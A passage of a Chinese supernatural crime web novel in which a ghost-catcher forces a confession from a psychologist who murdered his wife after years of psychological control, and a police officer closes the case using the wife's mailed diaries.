过了一会儿,男人拔出了砖头,在手中一变,砖头恢复了原样,它将砖头丢在旁边,然后站起身,转动着脖子,它感觉浑身轻松,而它刚才说的也是真的,如此特别的人它真的会记一辈子。
......
“是她自己要求的?”在听了它的讲述后,问玄亓不可置信的质问它。
男人紧紧抓住自己骨折的手腕,咬牙切齿的回答:“我去的时候她就剩一口气了,本来她就是要死的了,而且她也不想活,我相当于帮了她一个忙而已。”
问玄亓觉得男人在耍她,她猛的抓起男人的衣领:“你撒谎!她根本不会说话!”
“不会说话?”男人噗嗤一声笑了出来:“哈哈哈哈,你确定吗?她口齿清晰,每一个字我都听的清清楚楚,她说‘杀了我’!”
问玄亓愤怒的一巴掌抽在男人脸上:“你以为我没调查过吗!”
男人笑的癫狂:“你调查到的就一定是真的吗!人可是会说谎的!”
问玄亓又一巴掌抽在它的脸上:“到底是不是真的我会重新去调查清楚,而你!必须要为自己所做的一切付出代价!”
她死死拽住男人的衣领,另一只手举起手中的问玄棍,闪着寒光的刀刃对准了它的脑袋。
“你还是和以前一样。”
男人的话让问玄亓的动作停在了半空:“你说什么?”
男人将它的眼睛瞪的又大又狰狞:“你当初杀那只诡的时候,我就在后面的那片林子里,你说会将这个世界上的所有诡都挫骨扬灰,我当时还不信,没想到今天竟然落你手里了,哈哈哈哈哈!”
问玄亓听的云里雾里的:“你在胡说什么,我这个级别怎么可能杀诡?”
男人愣了一下,见她这样子似乎不像是在开玩笑,下一秒它突然笑的更大声了:“你不会不记得了吧?哈哈哈哈哈哈!你竟然不记得了!所以你现在在干嘛?捉诡?只能捉诡?没想到他们不仅抹去了你的记忆还让你轮到这种地步,哈哈!”
问玄亓拽住它的衣领:“你什么意思?我以前是谁?他们又是谁?”
男人安静下来,它看着问玄亓缓缓张了张嘴,就在问玄亓准备仔细听它的答案时,离玄突然刺进了它的脑袋,她满脸诧异,下一秒,男人就化成了一团发着蓝光的火焰。
问玄亓直起身,望着火焰,周围的结界开始消散,她转头看去,尤聿离带着陈文雯不知道什么时候来到了这里,离玄也回到了他的手上。
她看着尤聿离收回离玄,随后两人四目相对。
气氛一瞬间变的紧张起来,陈文雯夹在中间感受着他们之间的低气压。
问玄亓走上前,率先开了口:“为什么不让它说完。”
尤聿离则是一脸平静:“都是废话,不需要听。”
废话?问玄亓觉得可笑,她正要开口质问,旁边就出现一道裂缝,那团火焰很快飞了进去。
尤聿离凑到她耳边:“我还有工作要做,她就交给你了。”
随后,问玄亓看着他走进了裂缝里。
问玄亓忍住心中的怒火,直到裂缝慢慢消失。
她回头看见陈文雯一脸淡定的站在后面,便出声问道:“他都告诉你了?”
陈文雯点点头。
“攻击你的那只诡就是凶手。”问玄亓心里有气,本来想早点说完早点回去,没想到陈文雯的一句话激起了她的好奇心:
陈文雯:“我知道。”
问玄亓看着她,眼珠一转:“所以,你都查到了什么?”
两个人坐在路边,风将枯树上剩余的叶子都吹了下来,陈文雯望着掉落在地的树叶,说起了自己查到的线索:
“这个案子其实不复杂,它主要是诡异,之前我一直搞不明白,现在知道了,诡异的点就在于凶手它根本就不是人,所以排除这个凶手一切就说的通了。”
问玄亓听她这么说便明白了她在想什么:“所以你不相信这个案子只有一个凶手?”
陈文雯转过头去,将她上下打量一番后扬起嘴角:“你能这么说,就说明你也不相信。”
问玄亓点点头,但随后她又微微蹙眉:“不信但又不确定,那只诡说它到的时候受害者就只剩下一口气了,而且,是她自己要求诡杀掉她的。”她摇摇头:“可安安说他妈妈不会说话。”
陈文雯听到她说的,心中的猜测似乎得到了进一步验证,而刚才掉在地上的树叶被风吹的微微往前移动,她的目光被它吸引:“她确实不会说话,我们在调查寻问周边的邻居以及认识他们一家的人后,这一点得到了证实。”
“可是。”陈文雯看着地上的树叶:“法医告诉我她的声带和耳朵没有任何问题,并且查了她的资料,所有证明都在告诉我们她是一个正常的人。”
问玄亓一脸错愕,她想说什么,陈文雯却接着说:
“她的丈夫,那个叫李涛的男人,他给我们的说法是周莱因为家里的事受了刺激不愿意再说话。”
周莱?受害者的名字吗?问玄亓:“那她家里人呢?”
陈文雯遗憾的摇摇头:“都死了。”她的眉头深深皱在一起:“死无对证。”
“那她朋友呢?”
“她没有朋友。”
“怎么可能?一个人长这么大总会跟别人接触的吧?”
“就算查
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到了也都只是认识并不熟。”
“那李涛呢?你们查他了吗?”
“李涛那边家人亲戚全都在,他们给的说法都和李涛说的一样。”
“……”
陈文雯顿了顿:“最可怕的是,在周围邻居和朋友的印象中,李涛是一个不抽烟、不喝酒,脾气很好,人很温柔,甚至连只鸡都不敢杀的极品好男人,而我们也没有在周莱身上发现有旧伤的痕迹,她身上唯一的伤就是她死的那天晚上出现的。”
“安安?不能从孩子身上问出些什么吗?”问玄亓想起了安安这个孩子。
陈文雯垂下眸:“问了,安安说他爸爸从来没有打过妈妈,一直对周莱很温柔,家里也查过了,什么都查不出来。”
“没有监控、没有指纹,什么都没有,但他却有不在场证明。”陈文雯似乎也不敢相信。
“不在场证明?”
“那个时间,邻居的大妈出来倒垃圾的时候通过窗户看见了李涛在厨房备第二天的菜。”
“也就是说,即使现在他最可疑,但没有证据根本没法对他进行抓捕。”
陈文雯点点头:“李涛是个心理医生,所以一定没有那么简单。”
短暂沉默后,问玄亓微微眯眼,似乎想到了什么办法:“竟然什么证据都找不到,那就让他亲口说出来。”
陈文雯眼中带着疑惑:“怎么让他亲口说?”
问玄亓扬起嘴角:“这个就是我的事了。”她站起身:“陈警官,你等着抓你的嫌疑人吧。”
陈文雯疑惑的看着她,此时,风突然变大,猛的将地上的树叶再次吹向空中。
问玄亓在与陈文雯道别后拿着她给的录音笔来到了李涛的家。她站在楼下抬头看向李涛所住的楼层,将录音笔打开后装进了口袋里上了楼。
“咚咚咚”
“谁啊?”
……
见没人回应,李涛蹑手蹑脚的来到门口,通过猫眼看去发现外面站着一个姑娘,他觉得奇怪,但一向自大的他根本没有把这当回事,于是,他打开了门。
门刚打开,李涛就对上了问玄亓那双带着怒气的双眸。
“你谁啊?”
问玄亓没有回答他,直接推开他就往屋里走。
“唉!不是你谁啊?你要干什么?”
问玄亓依旧没理会他,进去后也没有看安安那张懵逼的小脸,直接开始锁窗户拉窗帘,确保从外面不会看到屋里的任何情况后,她又来到李涛旁边,伸手抓起李涛的衣领将他猛的拉进屋里,同时顺手将门锁了起来。
李涛终于有点慌了,他不知道哪儿来的勇气从厨房里拿了一把菜刀对着问玄亓说道:“不管你想干什么,我警告你赶紧从我家出去!不然我就报警了!”
问玄棍在两人惊讶的目光中出现在问玄亓的手里。她缓缓上前用问玄棍轻轻一挑,李涛手中的菜刀就掉在了地上。
她看着地上的菜刀和李涛颤抖的手,嘲笑从口中传来:“怕什么?拿出你杀周莱的气势来杀我。”
听到她这么说,李涛使劲咽了咽口水,随后他眼珠一转:“你胡说八道什么,小莱她是被别人杀死的,你到底是个什么东西,不去对付那杀人犯,跑过来对付我?”
“杀人犯?”问玄亓笑出了声:“不好意思,我刚对付完那个杀人犯赶过来,现在是来找你算账的。”
问玄亓皮笑肉不笑的样子在李涛眼里和地府派来索他命的阴差没什么两样,可贱人就是贱人,他又怎么会轻易交代自己的罪行。
“不管你是什么东西!你……”
“啪!”
李涛话还没说完,问玄亓就一巴掌重重地甩在了他的脸上。
19. 第19章·紫色郁金香
李涛整个人都懵了。
安安这时跑了上来,小孩的认知总是很简单,谁欺负他的家人他就讨厌谁,他抱住问玄亓的大腿:“你不许打我爸爸!不许!”
问玄亓笑得很善良,她低下头温柔地询问他:“安安乖,告诉我你爸爸他到底有没有欺负你妈妈?”
安安大声喊着:“我爸爸才没有欺负我妈妈呢!坏人!你是坏人!不准欺负我爸爸!”
问玄亓笑里藏刀:“好安安,时间很晚了,你该睡觉了。”说着便用手里的问玄棍轻轻敲击安安的脑袋,他便立马倒在了地上。
“安安!”李涛似乎快要吓死了,他赶紧跑过去抱起安安,在发现安安只是睡着了后才松了口气,他装作一副被人欺负了的好男人模样,大声斥责问玄亓:“你凭什么动我孩子!”
问玄亓懒得跟他废话:“你现在把他抱回房间,然后再出来,别耍任何手段,我全都看得见。”
李涛想了想后,竟然出乎意料的照她的话做了。
可之前说过,贱人就是贱人,他同之前那两个诡一样,总是有自己的小心思:
李涛将安安放到床上,回头见问玄亓并没有跟过来,便摸上了床头的手机,随后打开拨号键开始拨号,他刚准备把手机放在耳边,一把水果刀就飞了过来。
李涛只感觉到一阵凉风,等反应过来时,他手上已经空空如也,他咽咽口水,僵硬地转头看向自己旁边的墙,那部手机此时已经被水果刀贯穿后死死的钉在了墙上。
他又僵硬地转头看向门口,问玄亓满眼杀气地看着他。
李涛估计做梦都没想到会有这么一天。
问玄亓站在门口,微微抬起下巴:“滚出来把门锁上。”
李涛乖乖的走了出来,并顺手带上了门。
问玄亓仔细观察着他,此时的他除了脸上有惶恐的表情外,他的发型、穿着以及精气神哪哪都不像是死了老婆的人,尤其是那双眼睛,正如尤聿离说的那样,狡猾又精明。
“我再给你一次机会,把你杀害周莱的全部过程告诉我。”问玄亓一边看着他,手上一边轻轻摇晃着问玄棍。
李涛看着不断晃动的问玄棍,舔了舔因紧张而快要干裂的嘴唇,但依旧一言不发。
问玄亓见他不见棺材不落泪,便也不着急了,反正她有的是时间跟他周旋。她环顾四周后看见了这个屋子里唯一的那抹紫色,她缓缓走到桌旁,用手轻轻抚摸着花瓣:“你们家为什么要放一枝紫色郁金香?”
李涛本想继续保持沉默,谁知问玄亓一个眼神就让他怯了胆:“小莱喜欢,就给她买了。”
“是吗?”问玄亓又轻轻摸上了逐渐枯萎的花瓣顶端:“所以这花也一直都是周莱在照顾吧。”
李涛不知道是不是走神了,没听清:“什么?”
问玄亓:“我说这花一直都是周莱在照顾。”
“没有。”李涛突然开始否认:“我和她一起在照顾。”
“你撒谎。”
“我没有!”
“你也在照顾的话,它怎么会快要枯萎?花瓶里的水也没有换过。”
“小莱死了,我没心情。”
“你不是没有心情,你是不重视,就像你不重视周莱一样。”
这句话似乎戳中了李涛的内心,他气急败坏的开始解释:“我怎么不重视她了?她没亲没故,是我给了她一个家!”
“家?”问玄亓直接从花瓶里拔出那只郁金香:“如果你是说她宁愿去死也不想继续待下去的地方也叫家的话。”
李涛没听明白。
问玄亓又详细的解释了一遍:“你口中的那个‘杀人犯’告诉我,周莱在遇见它之前可还有一口气,你猜她说什么了?”
心虚慢慢浮上李涛的眼睛,但很快就一闪而过:“杀人犯说什么就是什么吗?那可是杀人犯!他说的话怎么能信!”
问玄亓轻轻皱眉反问他:“你心慌什么?我有说他说什么了吗?”
李涛喘着粗气,一时不知道他是气的还是慌的。
问玄亓走近,嘴角向上一撇:“周莱她说,真正杀了她的人是你,是你李涛。”
这句话让李涛虎躯一震,但很快他就平静下来:“我还是那句话,一个杀人犯的话不能信。”
跟他聊了这么久,问玄亓算是看明白了,李涛这个人不仅狡猾,心态还不错,甚至比那两只诡心态好多了,不过对付这种人她有的是办法。
“没事,你信不信无所谓,反正只要警察信就行。”
李涛冷笑一声:“别胡扯了,要是警察知道了,我现在就应该在警局。”
问玄亓拽着花朝他走近:“李涛,你就是个人面兽心的家伙,你在外人面前装人,在自己妻子面前当畜生,你以为装的像人,警察就查不到你了吗?”
李涛确实是一个心态好的人,但是他的脾气并不好,仅仅这一句话,问玄亓就在他的眼中看到了愤怒。
于是,问玄亓开始刻意激怒他:“你总是扮演着爱妻如命的角色,但实际上呢?你控制周莱的社交,甚至控制她说话,你就是个彻头彻尾的畜生。”问玄亓一字一句的说着这些话,她要让李涛听的清清楚楚。
果然,李涛瞪着双眼:“你胡说!我根本没有这样做!”
“是吗?那她明明会说话,为什么周围的人都以为她不会说话!”问玄亓的声音中夹杂着怒火。
李涛:“是因为小莱的家庭原因,所以她才不愿意说话,这一点我已经给警察说过了。”
问玄亓:“她的家人都去世了,你想怎么说都可以!”
李涛被呛住了,一时语塞。
问玄亓接着问:“说吧,你平时都是怎么对待周莱的,以及那天晚上你又是怎么杀了她的。”
“我没有。”李涛还是那一句:“不是我杀的她。”
问玄亓直接把手里的郁金香重重地甩到他脸上:“你不说我来说,那天晚上你们发生了争执,你动手打了周莱,所以她就从家里跑了出来,你将她追到巷口后实施了暴行,可你没想到她还剩一口气,竟然让她有机会把真相告诉给了别人。”
她说完又扬起嘴角问李涛:“怎么样?我说的对吗?”
李涛愣在原地,一句话没有说,很显然,问玄亓说的这些至少猜对了百分之八十。
“怎么不说话了?”问玄亓步步紧逼。
李涛反驳道:“不是我干的,我有不在场证明,这一点警察也知道。”
问玄亓反手就是一耳光,抽的李涛差点没站稳,他捂着脸不可思议的看着问玄亓。
“不在场证明有个屁用!这些事你干了就是干了,你再怎么不承认它也是事实。”问玄亓甩甩手,果然,厚脸皮的人都一样。
李涛还在垂死挣扎,问玄亓觉得自己对他还是太温柔了,古时候不是流行屈打成招吗,李涛这个新时代人类应该还没感受过吧,就当是替周莱出气了。
她上前拽住李涛的衣领抬手就是两巴掌,李涛想反抗,但他没想到自己的力气竟然不如问玄亓,所以他只有挨打的份。
几分钟下来,李涛的脸肿得就像猪头。
“你不是挺能的吗?怎么这才几分钟就成这样了?你平时怎么对待周莱的,现在有本事就这么对我啊!你要是做不到,就等着我把你打死吧!”
“我说了!不是我!”
“不是你?”问玄亓一棍子打在李涛腿上,他痛的一屁股坐在地上。
问玄亓听了他的话后越想越气,她笑着摇摇头:“我现在不管是不是你干的了,我只觉得打你的过程让我非
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常痛快,所以我现在也想学学你的手段,把你打到只剩一口气,”问玄亓将手里的玄棍抵在他的喉间。
李涛被她的话吓出一身冷汗,因为他心里非常清楚问玄亓是真的会这么做,不过像他这样的人死到临头不嘴硬的话反而很奇怪了:“我不管你是什么人,在这里都不能随意杀人,我要是被你打死了,你就等着警察来抓你吧!”
“警察?”问玄亓觉得可笑:“你是不是忘记我是谁了?”她再次挥了挥手中的问玄棍。
李涛这时突然想起来,这跟棍子当时是凭空出现在问玄亓手里的。
问玄亓将玄棍往前凑了凑,直接贴上李涛的下巴:“你以为我是谁?我就是周莱找来的,从地府上来要你命的鬼差!你以为警察能抓住我吗?当然不能。”
李涛的脑袋和后背发凉,额头上冒出大颗大颗的冷汗。
问玄亓用问玄棍轻轻敲击着自己的小腿:“你刚才说什么不能随便杀人?那为什么你能随便杀人?我就不能?你以为你是个什么东西?一个在别人面前装窝囊废,对自己老婆动手、无能又自私的东西,其实到头来只不过是个跳梁小丑。”
激怒这一招对李涛似乎很管用,自尊心在他心里占据了非常重要的地位,当自尊被问玄亓踩在脚下时,他就再也没了往日的精致伪装。
李涛在听到这句话后站了起来,他恶狠狠的盯着问玄亓:“你懂什么!没有我,这个家早就喝西北风了!没有我,周莱她早就死外边了!”
问玄亓直接一棍子打在他下巴上,刚站起来的李涛一下又跌倒在地:
“你跟我吼什么吼!有本事就站起来杀了我啊!”
李涛的下巴被打破了,鲜血从伤口处开始往下淌,他坐在地上看着掌心的鲜血,突然开始咯咯咯的笑,不知道是被打的应了激,还是问玄亓刚才的那段话刺激到了他,他抬头望着问玄亓:
“谁让她那么懦弱,我说什么她都不敢反抗,正好,我需要一个听话的、能够让我有好名声的金丝雀,她就非常合适。”
问玄亓见他开始说实话,便赶紧接着引导:“所以她不听话你就打她?”
“打她?”李涛坐在地上,用手指着自己:“我是谁啊?我是心理医生,用的着那么低级的手段吗?我只需要动动嘴皮子,她就心甘情愿的听我的话了。”
听到他这么说,问玄亓瞬间明白了,怪不得陈文雯说周莱身上没有新的伤痕,看来李涛平时一直都对周莱进行精神上的控制。她抑制住心中的怒火:“那天究竟发生了什么,让你第一次动手打了她?”
李涛笑得像失心疯,他踉踉跄跄地站起身:“她竟然敢跑到离家那么远的地方去,回来还敢反驳我,她敢反驳我第一次就敢反驳我第二次,她已经有了不再听我话的想法,像她这种麻烦死了最好,她活该,如果她没有给我找事就不会落到这种下场!”
问玄亓气得浑身发抖,她没想到仅仅会因为这么简单又离谱的理由,而去残忍地杀害一个人。
李涛还在不知死活的洋洋自得:“她应该感谢我的那些拳头落在她的身上,是我让她得到了解脱,我唯一后悔的事就是没有用那块砖头多给她的脑袋上来几下,不然她也不会剩一口气到处胡说!”
他在旁边不停叭叭叭,完全没注意到问玄亓的脸色越来越难看。
问玄亓怎么都想不到,这样丧心病狂的东西竟然是活生生的人,她满腔怒火,此刻,她的心中只有把面前这个男人剁成渣的想法。
她握紧问玄棍给了李涛重重的一击,李涛瞬间安静了,他倒在地上,不过并没有死,睁着那双精明的眼睛,感受着视线逐渐变成鲜红色。
问玄亓拆开问玄棍,其中一半甩出刀刃,再将冰凉的刀刃对准李涛,刚准备动手时,一只手突然抓住了她的手腕。
20. 第20章·紫色郁金香
她回过头,尤聿离正站在她身后,见他试图阻止自己,问玄亓的眼神冷得像冬日里的寒冰:“滚开!敢阻止我,你就和他一起去死!”
“阿亓!你冷静一点!”尤聿离满脸担忧:“你不能杀了他,他是人不是诡!这是诡界的规矩!”
问玄亓甩开他的手直接给了他一巴掌:“规矩在我面前算个什么东西,他这样的人该死,大不了就让我一命抵一命好了!”
说着,她转过身继续抬起问玄棍,尤聿离赶紧伸手抓住玄棍:“他当然得死,但是让周莱自己杀了他不是更好吗!”
这句话让问玄亓的动作停在半空中:“什么意思?”
“我认识冥界的人,他可以在李涛死后让他和周莱见一面。”尤聿离凑近:“要是让李涛死后被自己的妻子手刃,再轮回受尽地狱之苦并且永世不得超生,这样不是更好吗?”
问玄亓想了一下,觉得他说得有道理,让周莱自己亲手解决他确实更解气。
见她冷静下来,尤聿离才松开了握着刀刃的手,而手掌上的伤口也在一瞬间愈合。
问玄亓走到李涛身边,抓住他的衣领将他拽了起来:“我问你,你最后是用什么方法没留下指纹的?”
“手套和雨衣。”李涛乖乖地回答。
“在哪里?”
“被我洗干净剪碎丢掉了。”
“丢哪儿了?”
“楼下的垃圾桶。”
问玄亓看向窗户外面,面露难色。
不过这后面的事就是陈文雯的工作了,就看她能不能找到那双手套和雨衣了。
她看着李涛,眼神骇人:“你的好日子马上就要结束了,等死后就去地府见周莱吧。”
李涛却咧着嘴笑了:“我平时没有打过她,没有对她实施暴力,最后也没有把她打死,你以为我就一定会被判死刑吗?哈哈哈哈。”
问玄亓也笑了,她扬起嘴角,眼底却是藏不住的杀意:“我不是很懂法,但是我知道你要是出了意外,那还是要下地狱。”
李涛的笑凝固在脸上。
“还有,谁告诉你,语言暴力就不是暴力了?”
她将李涛重重的摔在地上,然后站起身准备离开,李涛却慌里慌张的从地上爬到问玄亓脚边,他抱住她的大腿:“不能杀我!不能杀我!我还有孩子,安安不能没有爸爸!”
问玄亓皱起眉,她俯下身看着李涛:“你真的爱安安吗?你不爱他,你爱的不过是能继承你这股血脉的身体。”
李涛在听了她的话后一愣,但依旧没有要放手的意思,尤聿离上来直接给了他一脚,将他踹倒在地,而问玄亓则举起问玄棍最后一次重重的打在了他的脑袋上。
两人走出屋子,尤聿离收回了离玄,问玄亓这才明白是他用离玄制造了结界,怪不得他们闹那么大动静,周围邻居没有一个吱声的。
她意味深长的看着尤聿离,而尤聿离只是微微低头:“举手之劳。”
问玄亓对于刚才在街道上的事,心里的气还没消干净,所以她并不打算跟尤聿离说话,在看了他一眼后就转身去找陈文雯。
尤聿离站在楼道口望着问玄亓离开的背影,虽然刚才那一巴掌很痛,但他的心里却十分开心,因为他最怕的事还是来了,但他及时阻止了她。
......
问玄亓在确认完录音笔里的内容后,第一时间给陈文雯打去了电话,她们约在了刚才那条街上的公园里。
陈文雯在听了录音笔里的内容后有些惊讶,没想到问玄亓真的做到了:“你是怎么让他心甘情愿说出来的?”
问玄亓有些尴尬,录音内容被她做了“手脚”,里面只有他与李涛的正常对话,而其他“多余”的内容已经被她悄悄抹掉了,就算拿去检查也查不出有任何剪辑的痕迹。
“这个你不用管,你就看这样能当做证据吗?还有,录音最后李涛有说他在犯案时戴了手套和雨衣,就是这两样东西都被他洗干净剪碎扔垃圾桶了,这么多天估计已经到垃圾场了,不知道你们还能不能找到?”
陈文雯点了点头:“放心吧,除了录音和手套雨衣以外,我还找到了可能是证据的其他东西。”
问玄亓眼前一亮:“什么东西?”
“在你去找李涛的这个时间段,我的同事之前去调查周莱的行动轨迹,刚才有了线索,通过监控,发现周莱在出事前将一个东西放在了里家很远的一个邮筒里,我已经派人去找了,而且我觉得那个东西一定对周莱很重要。”
听她这么一说,问玄亓忽然想到了李涛说的那些话:“所以,周莱就是为了寄这个东西才会被李涛杀害。”
陈文雯遗憾的点点头。
“没事,要是真的能指控李涛的话,那他的罪行就板上钉钉了。”问玄亓垂下眸:“至少周莱的努力没有白费。”
“是的,早日将他缉拿归案,这就是在为周莱报仇。”陈文雯安慰她。
问玄亓扬起嘴角,小声嘀咕道:“我很期待他在地府见到周莱时的脸色。”
“你说什么?”陈文雯没有听清。
问玄亓赶紧摇摇头:“没事没事。”
陈文雯看了眼时间:“好了,马上要天亮了,你回去休息吧,后面的事情就交给我了。”
问玄亓点点头,太阳马上就要升起了,现在回家应该还能再睡两个小时,但是她并不打算这样做,因为她还有一件事没有搞清楚。
和陈文雯道别后,她一个人来到海边,这里的海她在各个时间段都看过,白天的海是温馨治愈的,晚上的海是宁静神秘的。可不管是什么样的海,她只要来到海边待上一待,就会感觉浑身轻松,同样也会冷静许多。
凌晨的海带着特殊的蓝调,将整个世界衬成了蓝色,周围又十分安静,安静的耳边只能听见浪潮的呼吸声和零星几只鸟儿在海边休息时的窃窃私语。
问玄亓就这样站在沙滩上感受着海风。
没多久,一个身影进入自己的视野,问玄亓转头看去,随后她又将目光落到海面上。
“你没有什么想对我说的吗?”
尤聿离望着海面,波光粼粼倒映在他的双眼中。
“阿亓,我没法直接告诉你,但是你可以问我三个问题,这三个问题我可以选择沉默和回答,而具体怎么理解,就看你自己了。”
问玄亓见他是认真的,思考后便同意了。
“我到底是不是‘吾’?”
“......”
“两百年前,我的事跟谁有关吗?”
“......”
“最后一个问题。”问玄亓走近,看着他的脸:“带我去见界主。”
尤聿离猛地转过身:“不行。”
问玄亓的眼神意味深长,三个问题已经问完,前两个问题尤聿离保持沉默,唯独第三个问题他却立马否认。
结合他的反应,她已经大概猜到了一些事,只不过即使这些猜测摆在眼前,问玄亓的脑海中依旧想不起来任何一点片段。
她的记忆是被刻意抹去的,所以想要记起来很难,但是问玄亓从来没有放弃过,反正她还有大把的时间,就算真的找一辈子她也会找下去。
“阿亓,现在有些东西我是不能明说的,但是我希望你知道,我永远都是站在你这一边的,不管是在诡界还是在人间。”尤聿离轻轻抓住问玄亓的胳膊,他的目光炽热坦诚。
问玄亓的睫毛微微颤动,她垂下眸,不知道在想什么。
尤聿离没有逼迫她回答,他轻轻一笑:“没事的阿亓,你只要知道就好,时间不早了,早点回去吧。”
他松开手转身朝别处走去。
问玄亓站在原地目送着他离开,浪潮的呼吸声越来越大,渐渐盖住了鸟儿的窃窃私语,也盖住了她脑海里复杂的思绪。
......
第二天,问玄亓来到甜品店,依旧是那个座位,照样是蛋糕配茶,只不过今天她似乎有心事,她一直在盯着手机,好像在等谁的电话。
夏栀晓注意到她的反常,她将蛋糕放下后便关心的问道:“老板,你没事吧?”
问玄亓回过神,对她笑着摇摇头:“没事。”
夏栀晓点了点头,她拿着托盘回到前台。她有些好奇,时不时的看向问玄亓那边,虽然平时问玄亓这个老板对他们这些员工很好,但毕竟是上下级关系,竟然老板不愿意说,那她也就不会再去问。
这时店里进来两个女生,她们坐在了问玄亓后面的座位上。
“诶,你知道前几天后面老街上发生的那件事不?”
“你是说有个女生被
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杀了?”
“是啊,好恐怖,不知道凶手有没有被抓住。”
“不知道呢,到现在也没有官方通告什么的。”
“......”
问玄亓侧过头去看窗外的海,她在心里叹了口气:是啊,不知道陈警官有没有找到手套雨衣,还有周莱放在邮筒里的东西,也不知道李涛有没有被抓起来。
时间一点点的转动,太阳从东边升起又西边落下,她就这样在窗边坐了一整天。
王师傅在备完明天要用的材料后,从厨房里走了出来,他看着座位上的问玄亓,向夏栀晓问道:“诶!她就这样在窗边坐了一整天啊?”
夏栀晓点点头:“是啊,一直都这个姿势,不知道老板怎么了。”
王师傅挠挠头:“我来这么久,也没见这孩子这样啊。”
两人还在摸不着头脑时,问玄亓的手机突然响了,她赶紧接通,对面传来陈文雯的声音:
“有时间吗?见一面吧。”
于是,王师傅和夏栀晓就看见问玄亓从座位上站起来,以一种不知道是喜还是忧的表情跑了出去。
问玄亓开车来到离警局不远的咖啡厅,没多久,陈文雯就推门而入,她条件反射的站起身。
陈文雯笑着对她说:“坐。”
问玄亓见她脸上的表情很妙,心里忽然就放松了下来:“所以……”
“皆大欢喜。”陈文雯扬起嘴角。
问玄亓呼出一口气,掩饰不住的开心:“太好了。”
陈文雯接着说:“我们找到了周莱寄出去的东西,那是厚厚的一沓信件,但是打开后那些信件其实是日记。”
问玄亓:“日记?”
“对。”陈文雯看着她:“是周莱写的日记,里面详细的写了每天发生的事以及李涛是如何对她进行精神上的控制的。”
问玄亓垂眸:“所以,她将日记寄出去其实想自救。”
陈文雯摇摇头:“她一直都在自救。”
问玄亓看向她没有说话。
“她每次逃走都会被李涛找到,并且每找到一次李涛就会加重对她精神上的控制,李涛还一直在利用周莱的善良,让她留在自己身边。李涛非常狡猾,他没有打过周莱,所以即使周莱报警,也没有证据能够证明李涛虐待她,同时,口头上的pua,也不会让安安以及周围的人认为他在虐待周莱。”
问玄亓听的眉头紧锁。
陈文雯接着说:“周莱的日记加上你的录音,我们已经逮捕了李涛,在我们的轮流审问下,他已经如实说出了他杀害周莱的事实以及过程。而邻居老太太说的不在场证明其实是她刚好看见实施完暴行后回来的李涛,他也不是在厨房备菜,而是在洗他穿的雨衣和手套,老太太眼睛不好,所以没有注意到李涛手上的东西。去除掉那个‘诡’,所有的时间都对上了。至于手套和雨衣,因为发现的太晚,我们还在全力寻找中,不过即使没找到,李涛的罪行也是坐实了。”
“只不过。”陈文雯停顿一下:“李涛到底怎么判还得看法院那边,所以,你要做好达不到你心理预期的准备。”
问玄亓到是不纠结这个,毕竟不管李涛是不是死刑,到头来他的结果都是一个死字,只不过,她心里有些不舒服。
陈文雯也猜到了她心里的想法:“我知道你在想什么,这就是现实。”
问玄亓摇摇头:“我不明白,像李涛这样的人竟然是人,不是诡。”
“人心就是这样的。”陈文雯的眼中出现了悲伤和难过,她的语气轻柔又带着不甘:“我是警察,什么样的人我都见过了,有许多比李涛还残忍的人,他们折磨别人,甚至。”她有些哽咽:“杀了我的同事,在知道你们的事后,我也有想过他们或许都是诡,可事实呢?他们就是活生生、有血有肉的人。”
她抬起双眸,眼中闪着泪花:“我有时候就在想,什么都不管,把那群人全都杀掉,可我是警察,我的职业让我不能这么做,所以我也只能用尽全力,通过我的职责为这些受害者讨一个公道。”
听着她的话,问玄亓的心也跟着揪了起来,此刻,她发现自己能共情陈文雯。
正如她所说的,人心是复杂的,它们像柴和火,燃烧出了名为“诡”的怪物,同时也分裂出了名为人的“怪物”。